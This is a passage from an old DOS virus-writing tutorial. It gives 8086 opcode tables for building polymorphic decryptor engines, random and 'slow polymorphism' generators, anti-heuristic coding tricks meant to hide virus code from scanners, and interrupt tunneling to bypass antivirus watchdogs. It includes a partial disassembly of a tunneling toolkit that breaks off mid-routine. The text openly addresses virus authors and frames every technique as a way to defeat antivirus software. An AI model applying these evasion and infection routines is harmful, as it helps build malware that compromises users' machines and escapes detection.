sreg           a code that keeps the segment register
r/m            how is the instruction made ( based, indexed, two regs... )
mod            who makes the indexing ( DI, BP... )
dir            the direction
w              word mark

OpCode skeleton�
 ���������������

�����������������������������������������������������������������������Ŀ
�     8 bits         2     3     3      8 or 16 bits     8 or 16 bits   �
� �������������ͻ �����������������ͻ ��������������ͻ ��������������ͻ �
� � Instruction � � MOD � REG � R/M � � Displacement � �     Data     � �
� �������������ͼ �����������������ͼ ��������������ͼ ��������������ͼ �
�     1 byte            1 byte          1 or 2 bytes     1 or 2 bytes   �
�������������������������������������������������������������������������

Reg field�
 ���������

Reg value       00 01 02 03 04 05 06 07
                        
Byte registers  AL CL DL BL AH CH DH BH
Word registers  AX CX DX BX SP BP SI DI

How we can know if the register is byte or word? Easy, with the w byte. If
it's set to 1 it's a word, and if it's 0, we're talking about a byte reg.

Sreg field�
 ����������

Sreg value  01 03 05 07
                
Segment     ES CS SS DS

R/M field and Mod field�
 �����������������������

R/M value  00  Mod
                
                000  [BX+SI]
                001  [BX+DI]
                010  [BP+SI]
                011  [BP+DI]
                100  [SI]
                101  [DI]
                110  d16
                111  [BX]

R/M value  01  Mod
                
                000  [BX+SI+d8]
                001  [BX+DI+d8]
                010  [BP+SI+d8]
                011  [BP+DI+d8]
                100  [SI+d8]
                101  [DI+d8]
                110  [BP+d8]
                111  [BX+d8]

R/M value  10  Mod
                
                000  [BX+SI+d16]
                001  [BX+DI+d16]
                010  [BP+SI+d16]
                011  [BP+DI+d16]
                100  [SI+d16]
                101  [DI+d16]
                110  [BP+d16]
                111  [BX+d16]

R/M value  11  Mod   Byte Word
                       
                000   AL   AX
                001   CL   CX
                010   DL   DX
                011   BL   BX
                100   AH   SP
                101   CH   BP
                110   DH   SI
                111   BH   DI

Direction field�
 ���������������
If it's 0, the movement goes from reg to mod, and if it's 1, vice-versa,

� OpCodes:

�������Ŀ
� MOV �
���������

This instruction is the most used so far in assembly. It's also the one that
has more ways to code. BEWARE! It has some optimized variants, as you can
see, for AL/AX. You must make the code for this registers just like an assem-
bler program does, if not, the heuristic analyzers will fuck yer code!

MOV reg8,imm8         B0+RegByte imm8
MOV reg16,imm16       B8+RegWord imm16
MOV AL,mem8           A0 mem8
MOV AX,mem16          A1 mem16
MOV mem8,AL           A2 mem8
MOV mem16,AX          A3 mem16
MOV reg8,regmem8      8A RegInfoByte
MOV reg16,regmem16    8B RegInfoByte
MOV regmem8,reg8      88 RegInfoByte
MOV regmem16,reg16    89 RegInfoByte
MOV regmem8,imm8      C6 ^0
MOV regmem16,imm16    C7 ^0
MOV reg16,segmentreg  8C RegInfoByte
MOV segmentreg,reg16  8E RegInfoByte

��������Ŀ
� XCHG �
����������

As in MOV instruction, this OpCode is optimized for use AX.

XCHG AX,reg16        90+RegWord
XCHG reg8,regmem8    86 RegInfoByte
XCHG regmem8,reg8    86 RegInfoByte
XCHG reg16,regmem16  87 RegInfoByte
XCHG regmem16,reg16  87 RegInfoByte

���������������������Ŀ
� Segment Overrides �
�����������������������

This aren't full instructions. They are prefixes, so this OpCodes must be
placed before the instruction.

SEGCS  2E
SEGDS  3E
SEGES  26
SEGSS  36

��������������������Ŀ
� Stack Operations �
����������������������

This instructions are used for get/put/manipulate values in/to/from stack.

PUSH reg16     50+RegWord
PUSH regmem16  FF ^6
PUSH imm8      6A imm8
PUSH imm16     68 imm16
PUSH CS        0E
PUSH DS        1E
PUSH ES        06
PUSH SS        16
PUSHA          60
PUSHF          9C
POP reg16      58+RegWord
POP regmem16   8F ^0 imm16
POP DS         1F
POP ES         07
POP SS         17
POPA           61
POPF           9D

�������������������Ŀ
� Flag Operations �
���������������������

All these instructions are one-byters, so, they're really good for garbage
generators, but caution with some instructions like STD and STI.

CLI   FA
STI   FB
CLD   FC
STD   FD
CLC   F8
STC   F9
CMC   F5
SAHF  9E
LAHF  9F

Logical instructions�
 ��������������������
�������Ŀ
� XOR �
���������

XOR AL,imm8         34 imm8
XOR AX,imm16        35 imm16
XOR reg8,regmem8    32 RegInfoByte
XOR reg16,regmem16  33 RegInfoByte
XOR regmem8,reg8    30 RegInfoByte
XOR regmem16,reg16  31 RegInfoByte
XOR regmem8,imm8    80 ^6 imm8
XOR regmem16,imm8   83 ^6 imm8
XOR regmem16,imm16  81 ^6 imm16

������Ŀ
� OR �
��������

OR AL,imm8         0C imm8
OR AX,imm16        0D imm16
OR reg8,regmem8    0A RegInfoByte
OR reg16,regmem16  0B RegInfoByte
OR regmem8,reg8    08 RegInfoByte
OR regmem16,reg16  09 RegInfoByte
OR regmem8,imm8    80 ^1 imm8
OR regmem16,imm8   83 ^1 imm8
OR regmem16,imm16  81 ^1 imm16

�������Ŀ
� AND �
���������

AND AL,imm8         24 imm8
AND AX,imm16        25 imm16
AND reg8,regmem8    22 RegInfoByte
AND reg16,regmem16  23 RegInfoByte
AND regmem8,reg8    20 RegInfoByte
AND regmem16,reg16  21 RegInfoByte
AND regmem8,imm8    80 ^4 imm8
AND regmem16,imm8   83 ^4 imm8
AND regmem16,imm16  81 ^4 imm16

�������Ŀ
� NOT �
���������

NOT regmem8   F6 ^2
NOT regmem16  F7 ^2

�������Ŀ
� NEG �
���������

NEG regmem8   F6 ^3
NEG regmem16  F7 ^3

��������Ŀ
� TEST �
����������

TEST AL,imm8         A8 imm8
TEST AL,imm16        A9 imm16
TEST regmem8,reg8    84 RegInfoByte
TEST regmem16,reg16  85 RegInfoByte
TEST regmem8,imm8    F6 ^0 imm8
TEST regmem16,imm16  F7 ^0 imm16

�������Ŀ
� CMP �
���������

CMP AL,imm8         3C imm8
CMP AX,imm16        3D imm16
CMP reg8,regmem8    3A RegInfoByte
CMP reg16,regmem16  3B RegInfoByte
CMP regmem8,reg8    38 RegInfoByte
CMP regmem16,reg16  39 RegInfoByte
CMP regmem8,imm8    80 ^7 imm8
CMP regmem16,imm8   83 ^7 imm8
CMP regmem16,imm16  81 ^7 imm16

Arithmetic instructions�
 �����������������������
�������Ŀ
� ADD �
���������

ADD AL,imm8         04 imm8
ADD AX,imm16        05 imm16
ADD reg8,regmem8    02 RegInfoByte
ADD reg16,rm16      03 RegInfoByte
ADD regmem8,reg8    00 RegInfoByte
ADD regmem16,reg16  01 RegInfoByte
ADD regmem8,imm8    80 ^0 imm8
ADD regmem16,imm8   83 ^0 imm8
ADD regmem16,imm16  81 ^0 imm16

�������Ŀ
� SUB �
���������

SUB AL,imm8         2C imm8
SUB AX,imm16        2D imm16
SUB reg8,regmem8    2A RegInfoByte
SUB reg16,regmem16  2B RegInfoByte
SUB regmem8,reg8    28 RegInfoByte
SUB regmem16,reg16  29 RegInfoByte
SUB regmem8,imm8    80 ^5 imm8
SUB regmem16,imm8   83 ^5 imm8
SUB regmem16,imm16  81 ^5 imm16

�������Ŀ
� ADC �
���������

ADC AL,imm8         14 imm8
ADC AX,imm16        15 imm16
ADC reg8,regmem8    12 RegInfoByte
ADC reg16,regmem16  13 RegInfoByte
ADC regmem8,reg8    10 RegInfoByte
ADC regmem16,reg16  11 RegInfoByte
ADC regmem8,imm8    80 ^2 imm8
ADC regmem16,imm8   83 ^2 imm8
ADC regmem16,imm16  81 ^2 imm16

�������Ŀ
� SBB �
���������

SBB AL,imm8         1C ib
SBB AX,imm16        1D iw
SBB reg8,regmem8    1A RegInfoByte
SBB reg16,regmem16  1B RegInfoByte
SBB regmem8,reg8    18 RegInfoByte
SBB regmem16,reg16  19 RegInfoByte
SBB regmem8,imm8    80 ^3 imm8
SBB regmem16,imm8   83 ^3 imm8
SBB regmem16,imm16  81 ^3 imm16

�������Ŀ
� INC �
���������

INC reg16     40+RegWord
INC regmem8   FE ^0
INC regmem16  FF ^0

�������Ŀ
� DEC �
���������

DEC reg16     48+RegWord
DEC regmem8   FE ^1
DEC regmem16  FF ^1

�������Ŀ
� MUL �
���������

MUL regmem8   F6 ^4
MUL regmem16  F7 ^4

�������Ŀ
� DIV �
���������

DIV regmem8   F6 ^6
DIV regmem16  F7 ^6

��������Ŀ
� IMUL �
����������

IMUL regmem8               F6 ^5
IMUL regmem16              F7 ^5
IMUL reg16,regmem16,imm16  69 imm16
IMUL reg16,regmem16,imm8   6B imm8

��������Ŀ
� IDIV �
����������

IDIV regmem8   F6 ^7
IDIV regmem16  F7 ^7

Shifting instructions�
 ���������������������
�������Ŀ
� SHL �
���������

SHL regmem8,1      D0 ^4
SHL regmem16,1     D1 ^4
SHL regmem8,CL     D2 ^4
SHL regmem16,CL    D3 ^4
SHL regmem8,imm8   C0 ^4 imm8
SHL regmem16,imm8  C1 ^4 imm8

�������Ŀ
� SHR �
���������

SHR regmem8,1      D0 ^5
SHR regmem16,1     D1 ^5
SHR regmem8,CL     D2 ^5
SHR regmem16,CL    D3 ^5
SHR regmem8,imm8   C0 ^5 imm8
SHR regmem16,imm8  C1 ^5 imm8

�������Ŀ
� SAL �
���������

SAL regmem8,1      D0 ^4
SAL regmem16,1     D1 ^4
SAL regmem8,CL     D2 ^4
SAL regmem16,CL    D3 ^4
SAL regmem8,imm8   C0 ^4 imm8
SAL regmem16,imm8  C1 ^4 imm8

�������Ŀ
� SAR �
���������

SAR regmem8,1      D0 ^7
SAR regmem16,1     D1 ^7
SAR regmem8,CL     D2 ^7
SAR regmem16,CL    D3 ^7
SAR regmem8,imm8   C0 ^7 imm8
SAR regmem16,imm8  C1 ^7 imm8

�������Ŀ
� ROL �
���������

ROL regmem8,1      D0 ^0
ROL regmem16,1     D1 ^0
ROL regmem8,CL     D2 ^0
ROL regmem16,CL    D3 ^0
ROL regmem8,imm8   C0 ^0 imm8
ROL regmem16,imm8  C1 ^0 imm8

�������Ŀ
� ROR �
���������

ROR regmem8,1      D0 ^1
ROR regmem16,1     D1 ^1
ROR regmem8,CL     D2 ^1
ROR regmem16,CL    D3 ^1
ROR regmem8,imm8   C0 ^1 imm8
ROR regmem16,imm8  C1 ^1 imm8

�������Ŀ
� RCL �
���������

RCL regmem8,1      D0 ^2
RCL regmem16,1     D1 ^2
RCL regmem8,CL     D2 ^2
RCL regmem16,CL    D3 ^2
RCL regmem8,imm8   C0 ^2 imm8
RCL regmem16,imm8  C1 ^2 imm8

�������Ŀ
� RCR �
���������

RCR regmem8,1      D0 ^3
RCR regmem16,1     D1 ^3
RCR regmem8,CL     D2 ^3
RCR regmem16,CL    D3 ^3
RCR regmem8,imm8   C0 ^3 imm8
RCR regmem16,imm8  C1 ^3 imm8

Jumps, Calls and Rets�
 ���������������������

I must talk a little bit at this point about an interesting thing for you.
The jump offsets are calculated from the byte next to the whole jump instruc-
tion, for example, if we have a E9 00 00 ( JUMP NEAR ) we're jumping directly
to the next instruction, the instruction that is just after the jump. So,
looking this, we can know that a JMP 0001 will jump over 1 byte after the
jump. But... What happens if we want to jump downwards? Preety simple. If we
make a JMP FFFF, we're jumping to the data, and it'll hang sure. We can use
this formula, where the X is the final result, and X' help us to make our
calculations.

X' = jump address - destination address + 2
X  = NEG X'

�����������������������Ŀ
� Unconditional Jumps �
�������������������������

JMP sig16 ( SHORT )  E9 sig16
JMP sig32 ( FAR )    EA sig32
JMP sig8 ( NEAR )    EB sig8
JMP regmem16         FF ^4
JMP FAR mem16:16     FF ^5

���������������������Ŀ
� Conditional Jumps �
�����������������������

JO sig8    70 sig8
JNO sig8   71 sig8
JB sig8    72 sig8
JAE sig8   73 sig8
JZ sig8    74 sig8
JNZ sig8   75 sig8
JBE sig8   76 sig8
JA sig8    77 sig8
JS sig8    78 sig8
JNS sig8   79 sig8
JPE sig8   7A sig8
JPO sig8   7B sig8
JL sig8    7C sig8
JGE sig8   7D sig8
JLE sig8   7E sig8
JG sig8    7F sig8
JCXZ sig8  E3 sig8

��������������Ŀ
� Call stuff �
����������������

CALL sig32         9A sig32
CALL sig16         E8 sig16
CALL regmem16      FF ^2
CALL FAR mem16:16  FF ^3

�����������Ŀ
� Returns �
�������������

RETN  C3
RETF  CB
IRET  CF

��������������Ŀ
� Loop stuff �
����������������

LOOPNE/LOOPNZ sig8  E0 cb
LOOPE/LOOPZ sig8    E1 cb
LOOP sig8           E2 cb

Miscellaneous�
 �������������

���������Ŀ
� Loads �
�����������

LEA reg16,regmem16  8D RegInfoByte
LDS reg16,mem16:16  C4 RegInfoByte
LES reg16,mem16:16  C5 RegInfoByte

Jumps / Calls generation
������������������������

This is one of the most important things to do if you want to do the code
generated by your PER more real to lamer's eyes ;)

� Jumps:

The creation of jumps is very easy, and very useful for our needs. Try to
avoid the do-nothing jumps, like JMP 0000, because if we put this kinda jumps
in excess, an heuristic flag will probably flagged. Make instructions natural
must be our goal. And... where have you seen any jump to the next opcode? :)
In order to create jumps, you must be careful with the offset, because if
you make it to low or too high, the computer will hang. You must do it
custom-made. It's a good idea to make the jumps' offsets variables ( between
1 and 5 will be enough ), and then place junk instructions. Make a procedure
for assure that your jumps will go to the right place. Remember: Imagination
is our best weapon.
Let's see a very simple Jx ( conditional jump ) generator. It's easy.

generate_jx:
       call    random                  ; Our random procedure
       and     al,0Fh                  ; A number between 0..16
       add     al,70h                  ; Add 70 for get instructions
       stosb                           ; Put AL in ES:DI
       xor     ax,ax                   ; Make AL = 00
       stosb                           ; Make a zero-jump <g>
       ret

This isn't the best solution, but... works! :)

� Calls:

A little bit harder than the jump construction. If we put calls as we put
jumps the code will hang ( sure! ). This is coz when we're making a call,
the offset is pushed onto the stack, and the ret will return to the offset
next to the call. So, if we put a call directly, our code will be completly
unuseful. There're two ways to avoid this. Let's explain the first one:
We make the call to the offset, then we make a jump that completly avoids
the call ( well, the call not... the FUCKING RET! ), we make the procedure
code, place the RET, and that's all! It must look like this:

       [...]
       call    shit ������Ŀ
       [...]   ����������ij�Ŀ
       jmp     avoid_shit ij�ij�Ŀ
       [...]               �  �  �
shit:          ������������  �  �
       [...]                  �  �
       ret     ����������������  �
       [...]                     �
avoid_shit:    ������������������
       [...]

Maybe the second way seems more easy to your eyes. Well, i'm gonna explain it
for your open mind :)
We must make a jump over the call, then generate the opcodes of the procedure
generate the RET, and we can call the subroutine code now ( and more times ).
Let's see:

       [...]
       jmp     avoid_shit Ŀ
       [...]               �
shit:          ����������ij�Ŀ
       [...]               �  �
       ret     �����������ij�ij�Ŀ
       [...]               �  �  �
avoid_shit:    ������������  �  �
       [...]                  �  �
       call    shit �����������  �
       [...]   ������������������

Interrupt calls
���������������

This is VERY simple, believe me. We can call to this interrupts in our code
everytime we want: they're do-nothing interrupts. Let's see a little list:

INT 01h  CPU-generated - SINGLE STEP; (80386+) - DEBUGGING EXCEPTIONS
INT 08h  IRQ0 - SYSTEM TIMER; CPU-generated (80286+)
INT 0Ah  IRQ2 - LPT2/EGA,VGA/IRQ9; CPU-generated (80286+)
INT 0Bh  IRQ3 - SERIAL COMMUNICATIONS (COM2); CPU-generated (80286+)
INT 0Ch  IRQ4 - SERIAL COMMUNICATIONS (COM1); CPU-generated (80286+)
INT 0Dh  IRQ5 - FIXED DISK/LPT2/reserved; CPU-generated (80286+)
INT 0Eh  IRQ6 - DISKETTE CONTROLLER; CPU-generated (80386+)
INT 0Fh  IRQ7 - PARALLEL PRINTER
INT 1Ch  TIME - SYSTEM TIMER TICK
INT 28h  DOS 2+ - DOS IDLE INTERRUPT
INT 2Bh  DOS 2+ - RESERVED
INT 2Ch  DOS 2+ - RESERVED
INT 2Dh  DOS 2+ - RESERVED
INT 70h  IRQ8 - CMOS REAL-TIME CLOCK
INT 71h  IRQ9 - REDIRECTED TO INT 0A BY BIOS
INT 72h  IRQ10 - RESERVED
INT 73h  IRQ11 - RESERVED
INT 74h  IRQ12 - POINTING DEVICE (PS)
INT 75h  IRQ13 - MATH COPROCESSOR EXCEPTION (AT and up)
INT 76h  IRQ14 - HARD DISK CONTROLLER (AT and later)
INT 77h  IRQ15 - RESERVED (AT,PS); POWER CONSERVATION (Compaq)

These are the INTs you can call without any kinda problem. I recommend you
to build a table with the number of the ints in order to make a procedure
that generates the INT opcodes. HEY! I forgot! The INT OpCode is CD, followed
by the interrupt number, that it's a byte.

Another very good choice is to make calls to the INT 21h/INT 10h/INT 16h with
do-nothing functions. Let's see the INT 21h possible functions...

AH=0Bh    Read entry state
AH=0Dh    Flush buffers
AH=19h    Get current drive
AH=2Ah    Get current date
AH=2Ch    Get current time
AH=30h    Get dos version number
AH=4Dh    Get error code
AH=51h    Get active psp
AH=62h    Get active psp

AX=3300h  Get break-flag
AX=3700h  Get line-command separator
AX=5800h  Get mem concept
AX=5802h  Get umb insert

I think it is quite clear how to do the code. Generate a MOV AH/AX,value and
an INT 21h isn't hard. Just do it! :)

Random number generator
�����������������������

There's one of the most important this of your PER. The simplest way for
obtain a random number is to call to port 40h, and see what it returns. Let's
see some code:

random:
       in      ax,40h
       in      al,40h
       ret

We can also use INT 1Ah, or another thing that we think that can return us
different numbers each time. If we want a number in a determinated range,
we can make use of the instuction AND. Let's see the simplest procedure for
make a random number in range:

random_in_range:
       push    bx
       xchg    ax,bx
       call    random
       and     ax,bx
       pop     bx
       ret

It will return a number between 0 and the marked in AX-1. An optimized way to
do the random in range procedure is to use the division. Remember what the
division does, paying attention to the remainder. When we do a division, the
remainder can never be higher ( or equal ) to the divisor. So, the remainder
can be between 0 and the divisor - 1. Let's see how will be a procedure by
using division:

random_in_range:
       push    bx dx
       xchg    ax,bx
       call    random
       xor     dx,dx
       div     bx
       xchg    ax,dx
       pop     dx bx
       ret

Preety simple, as you can see. The random number stuff will continue in the
next part of this chapter, the slow polymorphism.

Slow polymorphism
�����������������

If you know how this stuff fuck AVs, you'd think it's a very difficult tech-
nique, or something. No. The authors of the firsts polymorphic engines tho-
ugth that the best way to fuck AV was to make the decryptors very variables
each generation. It was a very good idea for the firsts PERs, but, the AVers
discovered that infecting thousands of baits with a polymophic virus, they
could see all the possible mutations, and then, add a simple scan string for
their ShitWare ( aka AntiViruses ). But... what happens if we make the de-
cryptors' mutation very slow? Then, the slow polymorphism was born. Yes, with
this simple idea, that can seem to be a bullshit, we can make AVers go mad :)
The most important thing we must change in order to get slow polymorphism is
the random number generator. By changing this, we have a slow mutation engine
for our needs. We can improve it, but it'll work preety good for ALL our
needs. We need values that don't change fast, like month, day or something,
and then play something with them ( if you want, of course ) ;)

random_range:
       push    bx cx dx
       xchg    ax,bx
       mov     ax,2C00h
       int     21h
       xchg    ax,dx
       xor     ax,0FFFFh
       xor     dx,dx
       div     bx
       xchg    ax,dx
       pop     dx cx bx
       ret

And, with a routine like this, your PER is now 100% slow polymorphic. I beli-
eve the concept is quite clear.
Instead of this, you can test to add a counter that avoids mutations in a
huge period of time, but i prefer the above technique for slow polymorphy.

Advanced polymorphy
�������������������

Your steps must go to advanced polymorphism. You must try to generate real-
istic structures, like a program with calls to subroutines, interrupts, play
with values already known, make comparisons followed by conditional jumps,
and whatever you can imaginate. You must always improve the variability of
your poly engine: if it's slow and very variable, AV will fuck off. Imagine
the posibilities: you can decrypt your code from top to bottom and vice-versa
use si, di, bx or whatever you want as count register, you can add a genera-
tor for long routines, such as little anti-debugging tricks ( neg sp/neg sp,
not sp/not sp... ), make a mid-virus ( or mid-file ) decryptor, an INT 1
decryptor ( hell good trick! ), make do-nothing memory movements, use word
operatons at time as byte ones, combine them, subtitute them...
Else, you can try with something already more advanced, like envolving poly-
morphism, and else. You can see a very cool document about this in IR#8, made
by Methyl [IR/G], now known as OWL [FS].

Last words about polymorphism
�����������������������������

But, as the real world is a shit, the AV scum will try to get all our possi-
ble decryptors by disassembling our preety slow polymorphic engine.
But, here comes the armouring for save our ass. We must heavily protect our
PER with an encryption routine specially for it ( it must be a very ANTI-
DEBUGGING decryptor ). As they won't have enough time to disassemble the
engine, they won't see all it can do :) You have a very good selection of
ANTI-DEBUGGER techniques in the chapter with this name ( some chpts. above )
So, at this time, they will concentrate their efforts in the baits, and we
must avoid the infection of this non-sense files. More of this in ANTI-BAIT
chapter, some chapters below ;)
I want to see your PERs rocking the world! :)

��Ĵ Anti-Heuristics ���������������������������������������������������������

The heuristics search for suspicious things at our code. Just avoid the use
of things like "*.com" and so on... Well, i explain it better. Follow this
points.

� Don't use wildcars like "*.com" or "*.exe":

This kinda things are only used in runtime <g> viruses, but if you really
need it... You can put something like "*.rom" instead "*.com" and then
something like this:

       mov byte ptr [bp+comfile+2],"c"

Remember: before writing virus body, restore the r of "*.rom"...

       mov byte ptr [bp+comfile+2],"r"

or you've made a null effort.
In this example we assume BP as delta offset, comfile as db "*.rom",0 and
the virus is a direct action infector <g>

� Don't use obvious routines:

We're talking about the classic INT 21h AH = 40h, INT 21h AX = 4301h...
You can made a lot of things... let's play with AX = 4301h
I've read this in somewhere i don't remember now ( Maybe Wizard's tutorial in
spanish :-? )

       push 4301h
       pop ax

But there's a problem... Compile it and then disassembly it. Let's see some
TASM generated shit :)

       push ax bp
       mov bp,sp
       mov word ptr [bp+02],4301h
       pop bp ax

This is the disassembled code of push 4301h and pop ax. It takes 11 bytes!!!
I think it's a waste of code. Better use things like:

       mov ax,4300h
       inc ax

or better:

       mov ax,0043h
       inc ah
       xchg ah,al

and also:

       mov bx,4300h
       xor ax,ax
       xchg ax,bx

� Be paranoid with all the routines of your polymorphic engine:

Be careful of the use of a lot of garbage, like one byte instructions ( cli,
sti, lahf, nop, std, cld, cmc... ). The AV can show a flag. The heuristic
engine will try to decrypt your code. I recommend you to put an antidebugging
routine for stop it. Take a look to ARMOURING chapter in this document.

� Don't use strange calls for your residence check:

If you use some like AX = DEADh for your residence check, a flag will be
triggered. Use checks below 6E00h. There're a lot of functions below 6E00h
unused. Take a look to Ralph Brown's interrupt list for more info.

� Don't use rare interrupts:

If you use interrupts above 80, a flag will be triggered.

� Optimize your code as much as possible:

Look the tutorials that talk about this ( like darkman's in VLAD#2, or the
one in this same document )

� Try to be original in the � offset obtaining:

For obtain delta offset don't use:

       call delta
delta:
       pop si
       sub si,offset delta

This is used by a lot of viruses, and a flag will be triggered sure.
( In this example, delta offset will be in SI )
There are a lot of alternative ( yeah! ) ways to get the delta offset:

       mov bx,old_size_of_infected_file
       jmp bx

( You can use another registers than BX )
another:

       call delta
delta:
       mov si,sp
       mov bp,word ptr ss:[si]
       sub bp,offset delta

( In this, BP will be Delta offset )
and another one:

       mov bp,sp
       int 03h
delta:
       mov bp,ss:[bp-6]
       sub bp,offset delta

� Make your encryption routine very optimized. If you use some shit, the
heuristic will catch the virus, and all our efforts will go shit

� Make your TSR routines very strange:

Try to avoid the compare with 0:

       cmp byte ptr [0],"Z"

� In your int 21 handlers avoid to use the " real " cmps, just try with
something like this ( examples with 4bh ):

       xchg ah,al
       cmp al,4Bh
       [...]
       xchg ah,al

or make a xor with the value.

       xor ax,0FFFFh
       cmp ah,(4Bh xor 0FFh)
       xor ax,0FFFFh

 or this two at time ;)

       xor ax,0FFFFh
       xchg ah,al
       cmp al,(4Bh xor 0FFh)
       xchg ah,al
       xor ax,0FFFFh

REMEMBER THIS: After the call to the real int 21 return all the values as
they are before making this routines

� The heuristic will search with compares with "MZ" or "ZM" like

       cmp ax,"ZM"
       cmp ax,"MZ"

You can try with something like this:

       mov al,byte ptr [header]
       add al,byte ptr [header+1]
       cmp al,"M"+"Z"

This is a very useful routine: You are checking at the same time for MZ and
ZM. Assumed things... Header contains at least the 2 firsts bytes of the
header. Or you can make it, but in lower case, with a simple or ax,2020h
( AX is the register containing the string ), and compare with something
like:

       cmp ax,"zm"
       cmp ax,"mz"

� Try to make your virus as rare as you can :)

� Scan a lot of times your code with a lot of AVs to see if it's detected

� Change sightly the routines for restore the COM and EXE hosts. Let's see
now how to make an anti-heuristic restore for COM files:

       mov     di,101h                 ; This shit will fool AV
       dec     di
       push    di                      ; DI=100h :)
       lea     si,[bp+offset OldBytes] ; Restore 3 bytes
       movsw                           ; ( Change it for your needs )
       movsb
       ret                             ; Jump to 100h ;)

oldbytes       db CDh,20h,00

And now let's see how to fuck heuristics when EXE restoring:

       mov     bx,bp                   ; Use BX as delta offset ;)
       mov     ax,ds
       add     ax,0010h
       add     word ptr cs:[bx+@@CS],ax
       add     ax,cs:[bx+@@SP]
       cli
       mov     ss,ax
       mov     sp,cs:[bx+@@SS]
       sti

       db      0EAh                    ; JUMP FAR

cs_ip          equ     this dword
@@IP           dw      0000h           ; In 1st gen, put here the offset to a
                                       ; MOV AX,4C00h/INT 21h
@@CS           dw      0000h
ss_sp          equ     this dword
@@SS           dw      0000h
@@SP           dw      0000h

Last things
�����������

The huge fail some heuristics have ( like TBSCAN ) are that they don't search
for the values of the registers. We can exploit this thing. Just think about
all the possibilities to make a mov ax,4301h or a cmp ah,4Bh... All is in yer
hands...

��Ĵ Tunneling ���������������������������������������������������������������

We call tunneling to all the attemps for obtain the original vectors of any
interrupt, that it's about all times the INT 21h. Well, all attempts can't be
called tunneling ( for example, the backdoors ), but we'll talk about them in
this article tho.
Tunneling was developed for avoid the TSR watchdogs. This kinda anti-virus
are ununderstandable ( whatta word! :) ) for the normal user, coz they notify
the attempts to hook interrupts, open executables, and all the stuff a virus
ussually do. This methods are really hard to fool with stuff like the show
before ( anti-heuristics ), because they don't search for bits, they only
hook and control the important interrupts ( 21h, 13h... ).
The most populars TSR watchdogs are the Flintstones' VSAFE, VSHIELD...
Our objective is to get the original vectors but... how can do it? You have
a lot of ways for choose.

Tracing
�������

This is probably one of the most used ways, but it's clearly unsafe. Yes,
this type of tunneling is very fragile, and you will know why if you pay
attention to the following lines :)
There is a flag, called Trap Flag ( ussually abbreviated as TF ), used for
put the processor in single-stepping mode if it's activated. The single-
stepping mode is what debuggers use for execute the code instruction by
instruction, and we can use it for our needs, of course :)
Every time an instrution is executed, and the TF is activated, the INT 1 will
be called, so this is our time :) But there isn't an intruction for activate
it, so we must play with the flags. Let's see how we can activate the TF:

       pushf                           ; Push flags to stack
       pop ax                          ; And put them into AX for play
       or ax, 100h                     ; We activate the TF at this point
       push ax                         ; We must push AX...
       popf                            ; for restore our preety flags :)

With this simple code you have activated the trap flag. I forgot to put the
flags, so here you have:

Position   0F 0E 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00
                           
Flags      -- -- -- -- OF DF IF TF SF ZF -- AF -- PF -- CF

The flags are in a 16 bit register, as you can see. Here you have the list
of flags, and its meanings:

CF : Carry Flag      Indicates an arithmetic carry
PF : Parity Flag     Indicates an even number of 1 bits
AF : Auxilary Flag   Indicates adjustment needed in BCD numbers
ZF : Zero Flag       Indicates a zero result, or equal comparison
SF : Sign Flag       Indicates negative result/comparison
TF : Trap Flag       Controls Single Step operation
IF : Interrupt Flag  Controls whether interrupts are enabled
DF : Direction Flag  Controls increment direction on string regs.
OF : Overflow Flag   Indicates signed arithmetic overflow

Let's remember some things about the interrupts. Every time we call an INT
at the stack are 6 bytes: the flags and the CS:IP. You must remember this,
because we must to call to the INT 21h, and then trace its code. If after the
call the CS ( in the stack ) is equal to the one that the DOS has given to
us when we've requested for interrupt vectors, the INT is the good one.
The simples routine for make tunneling could be like this one:

int01handler:
       push bp
       mov bp, sp
       push dx
       mov dx, word ptr cs:[dossegment]
       cmp [bp+6], dx
       jz found
       pop dx
       pop bp
       iret
found:
       mov dx, [bp+6]
       mov word ptr cs:[int21_seg], dx
       mov dx, [bp+4]
       mov word ptr cs:[int21_off], dx
       pop dx
       pop bp
       add sp, 6
       [...]

But this kinda tunneling, as i said at the beginning of the explanation, has
a lot of weak points. We aren't protected to POPF, PUSHF, CLI, and a TF
deactivation, because we're really EXECUTING the code.
If the AV redirected the INT 21h to another INT, we're fucked again. As you
can see, the tracing isn't safe.
Well, we can solve some problems by checking for some instructions, as
PUSHF and POPF, for don't let lamerz to deactivate the TF.
Anyways, the tracing ain't the best choice...

Byte to Byte
������������

The most popular ( the only one ) source is the K�hntark Recursive Tunneling
Toolkit ( aka KRTT ). The method it uses is to make comparisons to all the
opcodes in the int handler, in order to see if it's a CALL, CALL FAR, JUMP
FAR, and JUM OFF:SEG, and then get this value as INT 21h. Let's see the
complete disassembly of the file KRTT41.OBJ of the KRTT41 package, that is
main center of the toolkit.

;���[ CUT HERE ]��������������������������������������������������������������
; K�hntark Recursive Tunneling Toolkit 4.1 (c) 1993 by K�hntarK
; Disassembly by Billy Belceb�/DDT
;
; INPUT:
;        BP : 01             Searches for INT 2Ah handler
;        BP : 02             Searches for INT 13h handler
;        BP : another value  Searches for INT 21h handler
; OUTPUT:
;        AH : 00             Not found
;        AH : 01             Found!
;        AH : 02             Int 21h / 2Ah / 13h  Not Hooked
;        AH : 03             DOS internal interrupts are hooked
; If found:
;        DX                  DOS INT 21h / 2Ah / 13h SEGMENT
;        DI                  INT 21h  / 2Ah / 13h OFFSET
;        AL                  RECURSION DEPT
; DESTROYED:
;        AX,BX,CX,DX,DI,BP,ES
;
; Assemble:
;       TASM KRTT41.ASM
;       TLINK <virus name> KRTT41.OBJ
;
; Call TUNNEL for make tunneling
;
; NOTE: It's the first time i try with a disasm of something, so if i made a
; _HUGE_ mistake, notify me :) This ain't my job...

      .model   tiny
      .code
       public  tunnel

tunnel:
       cli                             ; Disable interrupts for tunneling
       xor     ax,ax
       mov     es,ax                   ; Make ES = 0 for get IVT
       xor     di,di
       mov     dx,es:[00AEh]           ; Checks for assure tunneling
       mov     cx,es:[00A2h]           ; INT 26h =! INT 28h
       cmp     dx,cx
       jz      check
       mov     cx,es:[00B2h]           ; INT 26h =! INT 28h =! INT 2Ch
       cmp     dx,cx
       jz      check
       mov     ah,03                   ; Checks failed : DOS ints are hooked
       ret
check:
       cmp     bp,01h                  ; BP=1       Hook INT 2Ah
       jz      int2A
       cmp     bp,02h                  ; BP=2       Hook INT 13h
       jz      int13
int21:
       mov     bx,es:[0084h]           ; BP=Other   Hook INT 21h
       mov     es,es:[0086h]
       jmp     go4it
int13:
       mov     bx,es:[004Ch]           ; Get INT 13h vectors from the IVT to
